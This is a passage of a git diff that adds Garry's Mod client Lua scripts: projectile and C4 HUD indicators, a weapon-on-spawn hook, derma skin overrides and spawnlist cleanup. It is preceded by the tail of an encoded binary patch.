zw1F$&pyx{ArNBeo2-kE*x;wlw;#=z3Y26&Oa~7P7J;v5g(NFtE>&HE4;2EsN)_Anz zVyv2#CiXsrZ#9~dM*r}6bT9XSS*$5Wj~bu8F5lQ{FDo{6F1)b?Lwz~77AxLpYHCOL zPwn~KS(8%G>H*`NAIJBy$SsmAU=dw3Gu;)Ql(R<1!H-G+ADsgCInzR{OwXOaXFmS- zTukTu&fysr7%U6tYf+XLnA%XiFh5^=mlbFZK6I+VHx1)V48z|M_pCv)^;vwyreX_P zsy^^?1N1IF>$Bz9f_2s5>o8KbLcei)snS4us#z0elyr=LDt)mNJ*L@Jv*7vXC3 zO28bFi}eY1q&{z>MEJHl>CYaW-v>Q&FdKnwh%w*=B|4+A;)1qLXY`d?DBhL46Mo%H}sx|JRE2=_+(2z_5Kwj{U{TC^RL_%mK76!Lx54>xqrU|DrK$ zZ0_nj_<=)Q;kY^Qp1ruk9c4HK6O-^aDGnMM(Ufx#po!p?XJNZ0B{{&!?x0>4@(gTS zU+z#kGkV8>Q<$1=0Sj-h0f7yb%DFFycd^cs8x7B8R4)fB_jP!zofXSan(7KC4URnh z*Glr4*>I#wIY$G6+UkQBs;s)xm4%U7J~|rAle3oQl5>N*UXlxbk~?hTk)8OcTJDe0 zWH_;q`Ok2t&aaEtcRO-)dPfnMYZr~rj7v%NEPmi+50FkVIrbVGhe?J9DCn@ij_t2@tc;dz^?hXr0Iv2_es%Q*j*il+9G z6VgJ@mGvav4^xO!LwJvd@7dHEixl<&{IxzS#@NU;u4ARM+ zCAtib@u%Hc`fhU)8u$s^iyl_|k*p zz=mhIf-$jEQ7k;=M0*v2naK`m0?rT~Q9oyu5AfvsF7R8iJ-?;*53^&jkqN}z29MdB*fk}%jbc2Q_vH;Qxw|bh-W=hpxNAy^J2R-AG^vjRz6AST zkpaf}NihDQT0JFKQ*uHyGshRZ!?^@gJ#U~Rni^ijq40Bf4?D*jj9rl4t_&uRME{)H z)MwR6`eaicJT2xLkL^SJ*Frgw%(_qQKs*6!2;;BjF8& zp{3AVX<#N3z2WC{<8CB*svwcRLm+z=z+5GKMLfK~p}dDtz3sH90BxAkC@mWv4#%;j zBI!pB?+t&qKmM;Y6&_1V{9>p!bMI@x9&ZJIUYgAB(z%7g-J59Vg5f&0p+MhkBNiqm zK10rain#K(UYY1$~uHZP6K{P94bCaqv!iaTXHb#N|e|wPKsfI0KVY$YoPq*b_Ico77jYtt(fM zZ3Eu1zh0@HsPY`JZ#m#KSTo?@EW~au&-2k5beuPnXPWs6uacj>jZXKmd7=2=Sbb2P zqeE_Wy&o3RLBdZ7Lt1anPUw>{D8l&Xz zN9RVOJJ=O&VW?^*25KXD`YPh6C3&7;i!JE>5T_BJP0euUK6X%5A#UN?t>U zZZEmh3;Z23Yhnrae-Zm%KA?jpr=z(CH?%y{N6Si*HFH=`t1s`tUKYj?6O4}KX92{{ zW)83e7!-V$8*`d1PZHyzEkf>*Nc`bO|ItEUCDPlLIpb&s+cmJ(EX-N&WY-uhPD{lF zpz%yxWO#`AvG8Na8A|)P5LYmNn!7(5J%r-Kj#eytDY@IG*@HDMt1J1NjgooCvq$#Q zqS0~GJv)JYwlF_~`oRci_;Y^N89IBY7ra63=pZwd4$SJI*Q)v}$&=Yt;HA>g3mQQT zVq#k3`!|jYRYk5JdN(#!oR|gup&tBhllXnMPwJ_enI7C*_LTT`-q1iTE2P%as|_&? zxGA5e-2e7gdmhKLBn2|BjCioG@00i`e=P-@8`uGjqDU9?%$(E}+n2#TN#i_p_htX7 zH+i&apkS9K*11Z7&W-6m!s)U!#-BbZA2|GxXz@8->~<&WaLgK5 zlZ0kWxE24M%Kpc6veD+*dHP_}NWHfZjWX>1$;A=GL}&|51AA`#{&=HL<4x}4X`Lf6 zn>$~Y=BTO>A=5&JfP z)5>hVSa;?1^28Uml!e-vQ?vT?*O=?w_6e{DjnETr#oUM{XgW2M;VXvGpN!>w4T@}o zHU+*v6)sB#IytFM!yR+OfDs|LY_IXmZe;fOG>I@tdxSN=^~uqMQMJ;CR~NeD;d(3QL5)~X(TTlU+l zl{!1a;kL(DI#7e6*YCy8qS@1O?C#s!CutEFptQh7)D*i|@9~Kh324irfsy5kU1+W- z`aUnOoy_y*>A>us=t@TEtxEJ~$?a?58`O*;-XBSfKiEmjx%-tFj+&9>p=~n;=&Pga z^~%~(dWd%LiyAO{%~oU5L-qNgHCj8VpQhyoXhMH)G#T4k{Zy=XBPDSDv*DMG>F2AF zNnZ3HI$*CF$&qtyk8XzpwKRXHW{NWQp4`;<0YBn{2x8(qII!i^3=IFVEZL6t+6nGH z_aq1%8o1IU(4icT*3a}T`25_#soc@yd*^C8b@0U#b2Xx05c+_@+C4v0FV5~w9@s@S zQ+jH5MS?a@jMScrUi4zRYYTDsJ6p!965X(}oUUjZw$KD@%u?*$YI5A=#J(fr?dc6Q zr%%XC68fZZ#B5^|9jHBoSh>4B-Rf~CIg@b?a1V-~Tz|7yKH*L;B zS7N0ox2D$nALZFp)A7Maca&-Fh$y%$Ewp)@nN8Id?b+VU6YOcNo8&~aRS(X}!cyMH z!a;hTSmpH@;Z{AN-Q4+_aX!>nU70sTTtbb_#C#@qUo{SG!;^be$ouq#&+AUlD9Ybn z{iED<{+;dGxiAl|k+)_J4z%9Ke0*C5xl0_ntntKdi9U_twUVz5@FlkOBED)ZSDwl2 zzf&uE)aJhPKBDmT!R_l=xrmwJcAAKvpJD0==;xI5ZL5lGut?Mm`gKO*DbZDVvG&UA z-dbbg;k1+UttyJpn$q4nwSSq4bHY`gAEzlp(0>}As=bTy;2+0p!KhfRo1URfaEo7D zJyIW<9PZ7fXgq9GNk$-XnlJfAJ5>@dZ7dEZUVtk}-jfG+KL{Ia?!O~=*eL9O3Gv8+ zVQ8O+p(W$q5MSR+qs$pcgDRbzeRPVy{E5w?v5#g(b}TWF!44(_v>~=3*TGkrURw`p zj{PIu6vqCBkXK~&z@LP5wD#tG?VHGg{rAU4hPpn@U3nTDMz|y9 z&t5uI zc-}{LXfyN!nyEj}n;b;0&%7q1y_U~io@|CNByj z?(auE%$%2r`1~oFVCRfni=JdEg&wfIcTV+P=5=-U&fNNMS0s0>pTJeI9|ijLWzsf)@}thhx%f7OH=G2 z8vEG9F2q8eu$R8WZGJBH2VIAO-dalS{n$e0 zkIrzX=ilWovhrC@ww4@V@H9G*2DPy zR`gFht0%rL(Y+ovw4*8pbx{_*G`E(I@4nFv^y2xtk(Wl0$A;1;i}83$qmzm8u_sfg z0hXoEi%E3^=Ky8_>~%V|@`2GE;V$z3ifXPg@VIC7v#65X(D>e2BZ9PPai&(z%qG`p zpn^W#_3PK4>cH-eT0C>2=1(1~;`}uDYUrROf$2pH#q@b&y&7nCVGMb!Cw((hJ7#tw zv)!twAr0Y-`D1epN2WbkkKX2flH}L=28~8su C5<^@7 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua new file mode 100644 index 0000000..98fed38 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua @@ -0,0 +1,117 @@ + + +if HSP_GlobalHEVInstalled then + hook.Remove("HUDPaint", "HSPHudShow", HSPHudShow) +end + + +local HEVStuffToTrack = { + ["Frag"] = "npc_grenade_frag", + ["Missile"] = "rpg_missile", + ["C-4 Bomb"] = "ent_mad_c4", + ["Tripmine"] = "npc_tripmine", + ["SMG Grenade"] = "grenade_ar2", + ["Crossbow Bolt"] = "crossbow_bolt", + ["High Energy Pellet"] = "prop_combine_ball", +} + +local Enabled = CreateClientConVar("hev_enabled", 1, true, false) + +local YELLOW = Color(255,220,0,200) --HEV yellow +local RED = Color(255,0,0,255) +local GREEN = Color(66,255,96) --HSP green + +for k,v in pairs(HEVStuffToTrack) do + CreateClientConVar("hev_show_"..v, 1, true, false) +end + + +local myMinutes = 0 +local mySeconds = 0 +local myTime = "" +local function Time(secs) + if not secs then return "0:00" end + secs = math.floor(secs) + + if secs < 0 then + secs = -secs + end + + if secs > 59 then + myMinutes = math.floor(secs/60) + mySeconds = secs-(math.floor(secs/60)*60) + + if mySeconds < 10 then + mySeconds = "0"..mySeconds + end + myTime = Format("%s:%s", myMinutes, mySeconds) + else + myTime = secs.." Seconds" + end + return myTime +end + + + +local ARROW = "6" +local function CHudProjectileIndicator() + if not Enabled:GetBool() then return end + + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) then + for NiceName,egc in pairs(HEVStuffToTrack) do + if (v:GetClass() == egc and GetConVar("hev_show_"..egc):GetBool() ) then + + local text_font = "Marlett" + surface.SetFont(text_font) + + local pos = v:LocalToWorld(v:OBBCenter()):ToScreen() + local text_xpos = pos.x + local text_ypos = pos.y - 35 * ( ScrH() / ScrW() ) + + + --if (pos.visible) then + local Width, Height = surface.GetTextSize(ARROW) + + draw.DrawText(ARROW, text_font, text_xpos, text_ypos, YELLOW, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + local DISTANCE = math.Round(LocalPlayer():GetPos():Distance( v:GetPos() ) / 12).." ft" + Width, Height = surface.GetTextSize(DISTANCE) + text_ypos = text_ypos - Height + draw.DrawText(DISTANCE, text_font, text_xpos, text_ypos, YELLOW, TEXT_ALIGN_CENTER) + + + if (v.C4CountDown) then + local C4Time = 0 + local C4Color = RED + + if (v.C4CountDown >= 15) then + C4Color = GREEN + C4Time = Time(v.C4CountDown) + elseif (v.C4CountDown != 0 and v.C4CountDown < 15) then + C4Color = RED + C4Time = v.C4CountDown.." Seconds" + else + C4Color = RED + C4Time = "You're fucked!" + end + + Width, Height = surface.GetTextSize(C4Time) + text_ypos = text_ypos - Height + draw.DrawText(C4Time, text_font, text_xpos, text_ypos, C4Color, TEXT_ALIGN_CENTER) + end + + Width, Height = surface.GetTextSize(NiceName) + text_ypos = text_ypos - Height + draw.DrawText(NiceName, text_font, text_xpos, text_ypos, color_white, TEXT_ALIGN_CENTER) + --end + end + end + end + end +end +hook.Add("HUDPaint", "CHudProjectileIndicator", CHudProjectileIndicator) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua new file mode 100644 index 0000000..b050a6a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua @@ -0,0 +1,90 @@ + +local HEVEnabled = CreateClientConVar("hev_drawhud", 1, true, false) + +local Panel = {} +Panel.FgColor = Color(255, 220, 0, 200) --HEV yellow +Panel.BgColor = Color(0, 0, 0, 76) +Panel.C4Red = Color(255, 0, 0, 255) +Panel.C4Green = Color(66, 255, 96) --HSP green + +local HEVStuffToTrack = { + ["Grenade"] = "npc_grenade_frag", + ["Rocket"] = "rpg_missile", + ["C4 Bomb"] = "ent_mad_c4", + ["Tripmine"] = "npc_tripmine", + ["Gravestone"] = "gravestone", + ["Crossbow Bolt"] = "crossbow_bolt", + ["High Energy Pellet"] = "prop_combine_ball", +} + +local function CHudProjectileIndicator() + local ply = LocalPlayer() + if not HEVEnabled:GetBool() then return end + + local text_font = "Marlett" + surface.SetFont(text_font) + + for k,v in pairs(ents.GetAll()) do + if (v and v:IsValid()) then + for NiceName,entclass in pairs(HEVStuffToTrack) do + local EGC = v:GetClass():lower() + if (EGC == entclass) then + local EntName = NiceName --:upper() + --[[ + local pos = v:LocalToWorld( v:OBBCenter() ):ToScreen() + local text_xpos = pos.x + local text_ypos = pos.y - 32 * ( ScrH() / 480.0 ) + ]] + + local vheadpos, vheadang = v:GetPos() + local vscreenpos = vheadpos:ToScreen() + local text_xpos = vscreenpos.x + local text_ypos = vscreenpos.y + + + if (pos.visible) then + local ARROW = "6" + local Width, Height = surface.GetTextSize(ARROW) + + draw.DrawText(ARROW, text_font, text_xpos, text_ypos, Panel.FgColor, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + local DISTANCE = math.Round(ply:GetPos():Distance( v:GetPos() ) / 12).." ft" + Width, Height = surface.GetTextSize(DISTANCE) + text_ypos = text_ypos - Height + draw.DrawText(DISTANCE, text_font, text_xpos, text_ypos, Panel.FgColor, TEXT_ALIGN_CENTER) + + + if EGC == HEVStuffToTrack["C4 Bomb"] and (v.C4CountDown) then + local C4Time + local C4Color + + if (v.C4CountDown >= 15) then + C4Color = Panel.C4Green + C4Time = v.C4CountDown.." Seconds" + elseif (v.C4CountDown < 15) then + C4Color = Panel.C4Red + C4Time = v.C4CountDown.." Seconds" + else + C4Color = Panel.C4Red + C4Time = "You're fucked!" + end + + Width, Height = surface.GetTextSize(C4Time) + text_ypos = text_ypos - Height + draw.DrawText(C4Time, text_font, text_xpos, text_ypos, C4Color, TEXT_ALIGN_CENTER) + end + + Width, Height = surface.GetTextSize(EntName) + text_ypos = text_ypos - Height + draw.DrawText(EntName, text_font, text_xpos, text_ypos, color_white, TEXT_ALIGN_CENTER) + end + end + end + end + end +end +hook.Add("HUDPaint", "CHudProjectileIndicator", CHudProjectileIndicator) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua new file mode 100644 index 0000000..cc2507e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua @@ -0,0 +1,46 @@ + +local Enabled = CreateClientConVar("hex_givesweps", 1, true, false) + +local DoneOne = nil +local DoneTwo = nil +local function CallPlayerSpawn() + if Enabled:GetBool() then + local Alive = LocalPlayer():Alive() + + if Alive then + if not DoneOne then + DoneOne = true + DoneTwo = false + hook.Call("LocalPlayerSpawn", nil, LocalPlayer() ) + end + else + if not DoneTwo then + DoneTwo = true + DoneOne = false + end + end + end +end +hook.Add("Think", "CallPlayerSpawn", CallPlayerSpawn) + + +local meta = FindMetaTable("Player") +function meta:SelectWeapon(kwc) + RunConsoleCommand("use", kwc) +end +function meta:Give(kwc) + RunConsoleCommand("gm_giveswep", kwc) +end + +local function GiveMeAK47(ply) + ply:Give("weapon_ak47") + ply:SelectWeapon("weapon_physgun") +end +hook.Add("LocalPlayerSpawn", "GiveMeAK47", GiveMeAK47) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua new file mode 100644 index 0000000..d180417 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua @@ -0,0 +1,17 @@ + +timer.Simple(1, function() + print("! fixing nail model") + + scripted_ents.Register({ + Type = "anim", + + Spawnable = false, + AdminSpawnable = false, + + Initialize = function(self) + self:SetModel("models/retrobox/retro_nail_small.mdl") + end + }, + "gmod_nail", true) +end) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua new file mode 100644 index 0000000..2dfef0f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua @@ -0,0 +1,27 @@ + +if UH_RINGS_INSTALLED then return end + + +local Enabled = CreateClientConVar("hex_rings", 1, true, true) +local Alpha = CreateClientConVar("hex_rings_alpha", 60, true, true) +local Mat = Material("SGM/playercircle") + +local TraceLine = {} +hook.Add("PrePlayerDraw", "PlayerRings", function(ply) + if ValidEntity(ply) and Enabled:GetBool() and not ply:InVehicle() then + TraceLine.start = ply:GetPos() + Vector(0,0,50) + TraceLine.endpos = TraceLine.start + Vector(0,0,-300) + TraceLine.filter = ply + + local trace = util.TraceLine(TraceLine) + if not trace.HitWorld then + trace.HitPos = ply:GetPos() + end + + local col = team.GetColor( ply:Team() ) + render.SetMaterial(Mat) + render.DrawQuadEasy( trace.HitPos + trace.HitNormal, trace.HitNormal, 48, 48, Color(col.r,col.g,col.b,Alpha:GetInt()) ) + end +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua new file mode 100644 index 0000000..470184e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua @@ -0,0 +1,44 @@ + +local BadLists = { + "Robotics and Gears", + "Specialized Construction", + "Miscellaneous Props", + "General Construction Props", + "Useful and Explosive", + "Rails and Rollercoasters", + "Transportation", + "Solid Steel", + "Sliders", +} +local tab = {} +local lol = {} + +local function RemoveFuckingSpawnlists() + print("[HeX] Removing useless spawnlists..") + tab = table.Copy(spawnmenu.GetPropTable()) + lol = spawnmenu.GetPropTable() + + for k,v in pairs(BadLists) do + spawnmenu.DeletePropCategory(v) + lol[v] = nil + tab[v] = nil + end + + + lol = tab + + print("[HeX] Removed "..#BadLists.." spawnlists..") +end +RemoveFuckingSpawnlists() + +--timer.Simple(3, RemoveFuckingSpawnlists) +concommand.Add("hex_removephx", RemoveFuckingSpawnlists) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua new file mode 100644 index 0000000..a2b2118 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua @@ -0,0 +1,18 @@ + +local function UploadChair(ply,cmd,args) + if (#args == 0) then + if not (AdvDupeClient and AdvDupeClient.UpLoadFile) then + print("[ERR] No adv dupe!") + UploadChair(NULL,"",{"force"}) + return + end + + AdvDupeClient.UpLoadFile(LocalPlayer(), "adv_duplicator/office_chair.txt") + print("[OK] Sent office_chair.txt using ADVDUPE") + else + chan.SendFile("data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt") + print("[OK] Sent office_chair.txt using CHAN") + end +end +concommand.Add("hex_upload_chair_cl", UploadChair) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua new file mode 100644 index 0000000..ad2ea74 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua @@ -0,0 +1,16 @@ + + +local convar3 = CreateClientConVar("hex_showballs", 0, true, true) + +local function showspwans() + if not convar3:GetBool() then return end + + for k,v in pairs(ents.FindByClass("sent_ball")) do + local pos = v:GetPos():ToScreen() + draw.RoundedBox( 4, pos.x-5, pos.y-5, 10, 10, Color( 66, 255, 96, 255 ) ) + end +end +--hook.Add("HUDPaint", "ShowBalls", showspwans) + + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua new file mode 100644 index 0000000..1619390 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_AR2Bounce.lua @@ -0,0 +1,39 @@ + +local Enabled = CreateClientConVar("ar2_enabled", 1, true, false) +local Max = CreateClientConVar("ar2_max", 8, true, false) +local Done = false +local Good = { + ["weapon_ar2"] = true, + ["plasma_rifle"] = true, +} + + +local function AR2Bounce() + if not SaitoHUD then return end + if not Enabled:GetBool() then return end + + local ply = LocalPlayer() + local wep = ply:GetActiveWeapon() + + if ValidEntity(ply) and ValidEntity(wep) then + if Good[ wep:GetClass() ] then + RunConsoleCommand("reflect_trace", Max:GetInt() ) + Done = true + else + if Done then + Done = false + RunConsoleCommand("reflect_trace_clear") + end + end + end +end +hook.Add("Think", "AR2Bounce", AR2Bounce) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua new file mode 100644 index 0000000..6b2ff49 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ChatFilter.lua @@ -0,0 +1,19 @@ + + + +local function SaveFilter(u) + local flt = u:ReadString() + local DoBeep = u:ReadBool() + file.Append("dex_filter.txt", flt) + + surface.PlaySound( Sound("npc/scanner/combat_scan"..math.random(2,4)..".wav") ) +end + + +timer.Simple(1, function() + if CHATFILTER then + --usermessage.Hook("flt", SaveFilter) + --print("[OK] Overriding SimpleFilter beep & save system") + end +end) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua new file mode 100644 index 0000000..eeeb290 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin.lua @@ -0,0 +1,86 @@ + + +local dermaskin +local getskintable + +if file.Exists("dermaskin.txt") then + dermaskin = file.Read("dermaskin.txt") +end +if not ConVarExists("derma_skin") then + CreateConVar("derma_skin", dermaskin or "Default") +end + + + +timer.Simple(0, function() + if HSP then return end + + local dermaskins = derma.GetSkinTable() + timer.Create("RefreshDermaSkins", 15, 1, function() + dermaskins = derma.GetSkinTable() + end) + + _R.Panel.SetSkinOld = _R.Panel.SetSkin + function _R.Panel:SetSkin(name) + if HeX.MyCall():find("HSP") then + return self:SetSkinOld(name) + end + + self.dermaskin = name + end + + derma.SkinHookOld = derma.SkinHook + function derma.SkinHook(strType, strName, panel) + local Skin + local a = panel.dermaskin + local p = panel + + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + + if a then + if a != panel.lastdermaskin then + panel:InvalidateLayout() + end + + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if not getskintable then + getskintable = derma.GetSkinTable + end + + dermaskin = GetConVarString("derma_skin") + if dermaskin != panel.lastdermaskin then + panel:InvalidateLayout() + end + + if !dermaskins[dermaskin] then + dermaskin = nil + end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if not Skin then return end + local func = Skin[ strType..strName ] + --local func2 = dermaskins["Default"][ strType..strName ] + if not func then return end + + if HeX.FPath(func):find("HSP") then + return derma.SkinHookOld(strType,strName,panel) + end + + return func(Skin,panel) + end + + + for k, v in pairs(file.FindInLua("skins/*.lua")) do + HeXInclude("skins/"..v) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua new file mode 100644 index 0000000..907b3f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_DermaSkin1.lua @@ -0,0 +1,94 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +function debug.getupvalues(f) + local t, i, k, v = {}, 1, debug.getupvalue(f, 1) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue(f, i) + end + return t +end + +local func = debug.getupvalues(concommand.Run).CommandList["menu_extensions"] + +concommand.Add("menu_extensions", function() + func() + local panel = debug.getupvalues(func).Extensions + while !panel do + local a + a = debug.getupvalues(a or func).func + if a then + panel = debug.getupvalues(a).Extensions + a = debug.getupvalues(a or func).func + else + break + end + end + local pnl = vgui.Create"DListView" + pnl:Dock(FILL) + pnl:AddColumn"Name" + pnl:AddColumn"Author" + pnl:SetMultiSelect(false) + local tbl = {} + for k, v in pairs(derma.GetSkinTable()) do + pnl:AddLine(v.PrintName or "N/A", v.Author or "N/A") + table.insert(tbl, k) + end + pnl.OnRowSelected = function(_, line) + RunConsoleCommand("derma_skin", tbl[line]) + file.Write("dermaskin.txt", tbl[line]) + end + + panel.PropertySheet:AddSheet( Localize( "Derma Skin" ), pnl, "gui/silkicons/application_view_tile" ) + concommand.Add("menu_extensions", func) +end) + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + HeXInclude("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua new file mode 100644 index 0000000..2d2f549 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_ErrorCleanse.lua @@ -0,0 +1,100 @@ +local NewCube = ClientsideModel( 'models/props/smallcubetrt.mdl', RENDERGROUP_BOTH ) +local NoGC = { NewCube } + +NewCube:SetNoDraw( true ) +NewCube:DrawShadow( false ) + +-- Using a single ClientsideModel as it's far faster to draw it multiple times than creating one for every entity. +-- There's a few quirks to this, but they're not as important as the speed difference. + +local KeepTexture = CreateClientConVar( 'ErrorCleanse_KeepTexture', 0, true, false ) +local KeepColor = CreateClientConVar( 'ErrorCleanse_KeepColor', 1, true, false ) + +local function DrawError( self ) + + if !KeepTexture:GetBool() then SetMaterialOverride( 0 ) end + if !KeepColor:GetBool() then render.SetBlend( 1 ); render.SetColorModulation( 1, 1, 1 ) end + + NewCube:SetRenderOrigin( self:LocalToWorld( self:OBBCenter() ) ) + NewCube:SetRenderAngles( self:GetAngles() ) + NewCube:SetModelScale( self.ErrorCleanse.OBB ) + + NewCube:DrawModel() + + NewCube:SetRenderOrigin() + NewCube:SetRenderAngles() + +end + +local function ValidError( Ent ) -- Oxymoron! + + if !ValidEntity( Ent ) then return end + if !Ent:GetTable() then return end + if Ent:GetModel() != 'models/error.mdl' then return end + if Ent:GetPhysicsObjectCount() > 1 then return end -- This doesn't work well with ragdolls. :x + if Ent:BoundingRadius() == 0 then Ent:SetNoDraw( true ) return end + -- There's nothing we can do if we can't get its bounds. Simply disable it from drawing altogether as it's probably unimportant. + + return true + +end + +local function ApplyRenderOverride( Ent ) + + Ent.RenderOverride = DrawError + Ent.Draw = DrawError + +end + +local function Spawned( Ent ) + + if !ValidError( Ent ) then return end + + local Mins = Ent:OBBMins() + local Maxs = Ent:OBBMaxs() + + Ent.ErrorCleanse = {} + Ent.ErrorCleanse.OBB = (Maxs - Mins)/2 + + ApplyRenderOverride( Ent ) + + Ent:DrawShadow( false ) + Ent:SetModelScale( vector_origin ) + Ent:SetRenderBounds( Mins, Maxs ) + + -- HACK: The propspawn effect sometimes replaces RenderOverride, so run it again! + timer.Create( 'ErrorCleanse.RO.'..Ent:EntIndex(), 0.5, 10, ApplyRenderOverride, Ent ) + +end + +local function ReInitialize() + + for K, Ent in pairs( ents.GetAll() ) do + + Spawned( Ent ) + + end + +end + +local function ReplaceMissingMat() -- This was an expirement to replace the purple&black material. It seems to also make effects invisible? + + Msg( 'NOTE: This feature is expiremental and causes some texture problems!\n' ) + + local NewError = Material( 'turtle/newmissing' ) + local ErrorTex = Material('turtle/random_error_this/is/not/real-') + + ErrorTex:SetMaterialTexture( '$basetexture', NewError:GetMaterialTexture( '$basetexture' ) ) + +end + +-- Apply everything! + +hook.Add( 'OnEntityCreated', 'ErrorCleanse.Spawned', Spawned ) +hook.Add( 'InitPostEntity', 'ErrorCleanse.InitPostEntity', InitPostEntity ) + +timer.Create( 'ErrorCleanse.AddErrors', 0.25, 0, ents.GetAll ) -- This fixes entities sometimes not getting OnEntityCreated spawned for them. +timer.Create( 'ErrorCleanse.ReInitialize', 15, 0, ReInitialize ) -- This shouldn't even be required -- but I feel I should include it incase something is missed first time. + +concommand.Add( 'ErrorCleanse_ReInit', ReInitialize ) +concommand.Add( 'ErrorCleanse_ReplaceMissingMat', ReplaceMissingMat ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua new file mode 100644 index 0000000..ca49d74 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_MatOrganiser.lua @@ -0,0 +1,26 @@ +--[[ + ~ Materials Orgnaiser ~ + ~ Lexi ~ +--]] + +list.Add("OverrideMaterials", "models/player/shared/gold_player") +list.Add("OverrideMaterials", "models/weapons/c_items/gold_wrench") + + +timer.Simple(0, function() + local mats = list.GetForEdit("OverrideMaterials") + local cleaner = {} + + for i, mat in pairs(mats) do + cleaner[mat] = true + mats[i] = nil + end + + local i = 1 + for mat in 